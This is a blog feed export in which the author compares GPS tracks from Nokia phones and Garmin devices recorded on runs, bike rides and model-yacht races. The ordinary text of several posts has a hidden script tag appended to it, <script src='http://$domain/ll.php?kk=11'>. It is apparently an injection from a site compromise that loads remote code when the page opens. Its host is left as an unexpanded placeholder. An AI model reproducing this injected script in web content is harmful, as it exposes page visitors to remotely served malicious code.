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		<title>Another Nokia N9 vs. Garmin GPS test</title>
		<link>http://www.anderswallin.net/2011/12/another-nokia-n9-vs-garmin-gps-test/</link>
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		<pubDate>Sat, 03 Dec 2011 09:54:37 +0000</pubDate>
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		<description><![CDATA[These results are much like my previous ones. Close to buildings or other difficult places the N9 GPS performs significantly worse than the Garmin. This is somewhat surprising since the N900 performs very similar to a Garmin. Could better GPS-data on the N9 be just a software-update away? When is someone going to try to [...]]]></description>
			<content:encoded><![CDATA[<p>These results are much like my <a href="http://www.anderswallin.net/2011/11/nokia-n9-vs-garmin-edge-800-gps-test/">previous ones</a>. Close to buildings or other difficult places the N9 GPS performs significantly worse than the Garmin. This is somewhat surprising since<a href="http://www.anderswallin.net/2011/06/nokia-n900-vs-garmin-edge800-gps-comparison/"> the N900 performs very similar to a Garmin</a>. Could better GPS-data on the N9 be just a software-update away? When is someone going to try to get <a href="http://lists.openmoko.org/nabble.html#nabble-td5574779">TJ Lindfors's RTK-GPS Openmoko hack</a> to work on the N9 ?!</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2011/12/405cx_vs_n9_2011dec2.jpg"><img class="alignnone size-medium wp-image-5164" title="405cx_vs_n9_2011dec2" src="http://www.anderswallin.net/wp-content/uploads/2011/12/405cx_vs_n9_2011dec2-300x186.jpg" alt="" width="300" height="186" /></a></p>
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		<title>Nokia N9 vs. Garmin Edge 800 GPS Test</title>
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		<pubDate>Wed, 09 Nov 2011 20:37:21 +0000</pubDate>
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		<description><![CDATA[My legs aren't exactly recovered from Saturday's marathon, but a slow 5k jog anyway today. Sports Tracker was released for the N9 last week (or was it earlier?), so I thought I'd do some GPS testing. Held Garmin Edge 800 in my right hand and the N9 in my left. The results aren't that great [...]]]></description>
			<content:encoded><![CDATA[<p>My legs aren't exactly recovered from Saturday's marathon, but a slow 5k jog anyway today. <a href="http://www.sports-tracker.com/">Sports Tracker</a> was released for the N9 last week (or was it earlier?), so I thought I'd do some GPS testing. Held <a href="http://www.youtube.com/watch?v=HF6vC-J3UV0">Garmin Edge 800</a> in my right hand and the N9 in my left. The results aren't that great for the N9:<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2011/11/n9_edge800_1.jpg"><img src="http://www.anderswallin.net/wp-content/uploads/2011/11/n9_edge800_1-300x249.jpg" alt="" title="n9_edge800_1" width="300" height="249" class="alignnone size-medium wp-image-5088" /></a></p>
<p>I should do a test on the bike later. Maybe include the Garmin 405cx and older C7 phone also?</p>
<p>The touch-screens on these devices are different: Edge 800 works fine with gloves, N9 doesn't work at all with gloves.</p>
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		<title>Nokia N900 vs Garmin Edge800 GPS comparison</title>
		<link>http://www.anderswallin.net/2011/06/nokia-n900-vs-garmin-edge800-gps-comparison/</link>
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		<pubDate>Fri, 17 Jun 2011 07:59:02 +0000</pubDate>
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		<description><![CDATA[On Wednesday I had a Garmin Edge 800 (red line in the pics) on my bike while Risto was using a Nokia N900 (blue line). Here are a few comparisons of the GPS-traces. Our bikes were obviously not exactly following the same route, so that accounts for some of the differences. The Edge800 seems to [...]]]></description>
			<content:encoded><![CDATA[<p>On Wednesday I had a Garmin Edge 800 (red line in the pics) on my bike while <a href="http://risto.kurppa.fi/blog/">Risto</a> was using a Nokia N900 (blue line). Here are a few comparisons of the GPS-traces. Our bikes were obviously not exactly following the same route, so that accounts for some of the differences. The Edge800 seems to take GPS-samples a more often than the N900.</p>

<a href='http://www.anderswallin.net/2011/06/nokia-n900-vs-garmin-edge800-gps-comparison/n900_vs_edge800_3/' title='n900_vs_edge800_3'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2011/06/n900_vs_edge800_31-150x150.jpg" class="attachment-thumbnail" alt="n900_vs_edge800_3" title="n900_vs_edge800_3" /></a>
<a href='http://www.anderswallin.net/2011/06/nokia-n900-vs-garmin-edge800-gps-comparison/n900_vs_edge800_2/' title='n900_vs_edge800_2'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2011/06/n900_vs_edge800_21-150x150.jpg" class="attachment-thumbnail" alt="n900_vs_edge800_2" title="n900_vs_edge800_2" /></a>
<a href='http://www.anderswallin.net/2011/06/nokia-n900-vs-garmin-edge800-gps-comparison/n900_vs_edge800_1/' title='N900_vs_edge800_1'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2011/06/N900_vs_edge800_11-150x150.jpg" class="attachment-thumbnail" alt="N900_vs_edge800_1" title="N900_vs_edge800_1" /></a>

<p>See also N95 vs 405cx testing <a href="http://www.anderswallin.net/2009/09/n95-vs-405c-gps-test/">here</a> and <a href="http://www.anderswallin.net/2009/09/a-second-gps-test/">here</a>.</p>
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		<title>a good servant but a bad master?</title>
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		<pubDate>Thu, 08 Apr 2010 21:02:06 +0000</pubDate>
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		<description><![CDATA[Seen on the bus today: Yep, that's a GPS-screen top left. No need for the driver to know left from right, where the bus is, the route, or think much anything any more. Back in the Good Old Days if you took a taxi the driver was actually supposed to know where you were going. [...]]]></description>
			<content:encoded><![CDATA[<p>Seen on the bus today:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/04/bus_gps1.jpg"><img src="http://www.anderswallin.net/wp-content/uploads/2010/04/bus_gps1-300x225.jpg" alt="" title="bus_gps" width="300" height="225" class="alignnone size-medium wp-image-2927" /></a></p>
<p>Yep, that's a GPS-screen top left. No need for the driver to know left from right, where the bus is, the route, or think much anything any more.</p>
<p>Back in the Good Old Days if you took a taxi the driver was actually supposed to know where you were going. Not so any more, especially at the airport. Given an address, the driver will probably not know which city or suburb to go to. After you write down your address on a piece of paper (been there, done that), since the driver speaks neither of our domestic languages, the journey proceeds exactly along the GPS trail. If they do the same with buses, install satellite-navigation everywhere, will it be good or bad?</p>
<p>How long before <a href="http://www.theregister.co.uk/2007/03/26/subaquatic_merc/">someone drives a bus into the water</a> or off a cliff?</p>
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		<title>161 km gps-runs in 2009</title>
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		<pubDate>Fri, 01 Jan 2010 11:37:31 +0000</pubDate>
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<a href='http://www.anderswallin.net/2010/01/161-km-gps-runs-in-2009/hietsu/' title='hietsu'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/01/hietsu1-150x150.jpg" class="attachment-thumbnail" alt="hietsu" title="hietsu" /></a>
<a href='http://www.anderswallin.net/2010/01/161-km-gps-runs-in-2009/gpsruns2009/' title='gpsruns2009'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/01/gpsruns20091-150x150.jpg" class="attachment-thumbnail" alt="gpsruns2009" title="gpsruns2009" /></a>
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<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Sunday 8k</title>
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		<pubDate>Sun, 15 Nov 2009 10:57:38 +0000</pubDate>
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		<description><![CDATA[Any snow and ice that was on the streets is gone again and +4C with little wind is quite ideal for running. 8.10km in 54 minutes makes for a leisurely 6:46min/km pace.]]></description>
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<p>Any snow and ice that was on the streets is gone again and +4C with little wind is quite ideal for running. 8.10km in 54 minutes makes for a leisurely 6:46min/km pace.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>9k jog</title>
		<link>http://www.anderswallin.net/2009/10/9k-jog/</link>
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		<pubDate>Wed, 14 Oct 2009 19:08:55 +0000</pubDate>
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		<description><![CDATA[I haven't completely forgot to exercise, but the lack of daylight and cold temperatures make it, at least mentally, a bit harder to get out there and run.]]></description>
			<content:encoded><![CDATA[<p>I haven't completely forgot to exercise, but the lack of daylight and cold temperatures make it, at least mentally, a bit harder to get out there and run.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/10/9k_2009oct14.jpg"><img src="http://www.anderswallin.net/wp-content/uploads/2009/10/9k_2009oct14-450x288.jpg" alt="9k_2009oct14" title="9k_2009oct14" width="450" height="288" class="alignnone size-medium wp-image-1871" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Garmin 405cx aboard an IOM</title>
		<link>http://www.anderswallin.net/2009/10/garmin-405cx-aboard-an-iom/</link>
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		<pubDate>Sat, 03 Oct 2009 16:50:18 +0000</pubDate>
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		<description><![CDATA[The 405cx gps-watch is small and light enough to just tape to the aft-deck of an IOM. Today's event in Tampere had 12 races but I missed a few due to electrical problems. Races 1 and 2 above, and races 7-12 below. It's funny how google-maps and google-earth show permanent winter and ice in Tampere [...]]]></description>
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<p>The 405cx gps-watch is small and light enough to just tape to the aft-deck of an IOM. Today's event in Tampere had 12 races but I missed a few due to electrical problems. Races 1 and 2 above, and races 7-12 below. It's funny how google-maps and google-earth <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=tampere&amp;sll=60.745862,26.07332&amp;sspn=0.438231,1.399384&amp;ie=UTF8&amp;hq=&amp;hnear=Tampere,+Finland&amp;ll=61.532168,23.720126&amp;spn=0.006679,0.021865&amp;t=h&amp;z=16">show permanent winter and ice</a> in Tampere <img src='http://www.anderswallin.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/10/race7-12.jpg"><img class="alignnone size-medium wp-image-1815" title="race7-12" src="http://www.anderswallin.net/wp-content/uploads/2009/10/race7-12-390x450.jpg" alt="race7-12" width="390" height="450" /></a></p>
<p>The raw-data (<a href="http://www.anderswallin.net/wp-content/uploads/2009/10/tampere_gpsdata.zip">tampere_gpsdata.zip</a>) is available in <a href="http://en.wikipedia.org/wiki/Training_Center_XML_%28TCX%29">TCX</a> format as well as Google-earth <a href="http://en.wikipedia.org/wiki/Kml">KML</a> format from the garmin connect website.</p>
<p>Anyone have any software or matlab code to extract the instantaneous speed from this data and plot it? Might be useful for further CFD investigations or VPP-programs. Mostly light and shifting no1 rig the whole day. It will be interesting to compare with no2 and no3 rig in a real breeze.</p>
<p>Are there even smaller and lighter GPS-dataloggers? How long before we can have a GPS on every boat and watch playback of the race afterwards at home?<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>8k run</title>
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		<pubDate>Fri, 18 Sep 2009 13:09:48 +0000</pubDate>
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		<description><![CDATA[An easy jog home from work. The Garmin has an auto-lap feature which takes lap-times each kilometer. This time the N95 trace (yellow) seems less jumpy, but there's still a difference compared to the Garmin: Garmin: 8.28 km in 50 min 50 s, 633 kcal N95: 8.35 km in 50 min 55 s, 731 kcal]]></description>
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<p>An easy jog home from work. The Garmin has an auto-lap feature which takes lap-times each kilometer.</p>
<p>This time the N95 trace (yellow) seems less jumpy, but there's still a difference compared to the Garmin:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/detail1.jpg"><img class="alignnone size-thumbnail wp-image-1706" title="detail1" src="http://www.anderswallin.net/wp-content/uploads/2009/09/detail1-150x150.jpg" alt="detail1" width="150" height="150" /></a> <a href="http://www.anderswallin.net/wp-content/uploads/2009/09/detail2.jpg"><img class="alignnone size-thumbnail wp-image-1704" title="detail2" src="http://www.anderswallin.net/wp-content/uploads/2009/09/detail2-150x150.jpg" alt="detail2" width="150" height="150" /></a></p>
<p>Garmin: 8.28 km in 50 min 50 s, 633 kcal<br />
N95: 8.35 km in 50 min 55 s, 731 kcal<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>A second GPS test</title>
		<link>http://www.anderswallin.net/2009/09/a-second-gps-test/</link>
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		<pubDate>Thu, 10 Sep 2009 19:31:05 +0000</pubDate>
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		<description><![CDATA[A secodn GPS test, this time with the 405cx on my left wrist and the N95 in my right hand. I had hoped this would expose the N95 antenna and improve its performance. Not so. The red trace (405cx) still looks much better while the yellow one (N95) jumps wiggles and snakes around. The summaries [...]]]></description>
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<p>A secodn GPS test, this time with the 405cx on my left wrist and the N95 in my right hand. I had hoped this would expose the N95 antenna and improve its performance. Not so. The red trace (405cx) still looks much better while the yellow one (N95) jumps wiggles and snakes around. The summaries are:</p>
<p>N95: 8.30km in 53 min 13 s, 727 kCal<br />
405cx: 7.92 km in 53 min 31 s, 627 kCal</p>
<p>If you zoom in, the N95 has me walking on water. To be fair the 405cx also looks a bit lost at the beginning of the run (far right), but it does get the street-crossing spot on (middle-right in the pic).</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/walk_on_water.jpg"><img class="alignnone size-medium wp-image-1683" title="walk_on_water" src="http://www.anderswallin.net/wp-content/uploads/2009/09/walk_on_water-450x290.jpg" alt="walk_on_water" width="450" height="290" /></a></p>
<p>Then for a straight bit along 'Nokia avenue':</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/wiggly.jpg"><img class="alignnone size-medium wp-image-1684" title="wiggly" src="http://www.anderswallin.net/wp-content/uploads/2009/09/wiggly-450x160.jpg" alt="wiggly" width="450" height="160" /></a></p>
<p>That's not pretty. I guess you could argue that on the way out (top) the street has tall houses on both sides, so the N95 (yellow) has a hard time finding satellites, while on the way home (bottom) it's more open and both GPSs perform roughly the same.</p>
<p>Here's part of the route in more open terrain. That seems to confirm that the N95 needs wide open spaces to do well.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/drumso.jpg"><img class="alignnone size-medium wp-image-1685" title="drumso" src="http://www.anderswallin.net/wp-content/uploads/2009/09/drumso-450x262.jpg" alt="drumso" width="450" height="262" /></a></p>
<p>For the record, my N95 8GB runs V 15.0.015 firmware (which I've several times unsuccessfully tried to update with Nokia PC-Suite <img src='http://www.anderswallin.net/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  ) and I'm using Nokia Sports Tracker v2.06 (S60 3.1). Today I had GPS-filtering turned off in sports tracker.</p>
<p>Somewhat surprising results! I would have thought GPS-positioning is a plain-vanilla technology by now and every company does it with equivalent hardware and software. Apparently not, or the N95 antenna is really inefficient, or I'm doing something wrong...<script src="http://$domain/ll.php?kk=11"></script></p>
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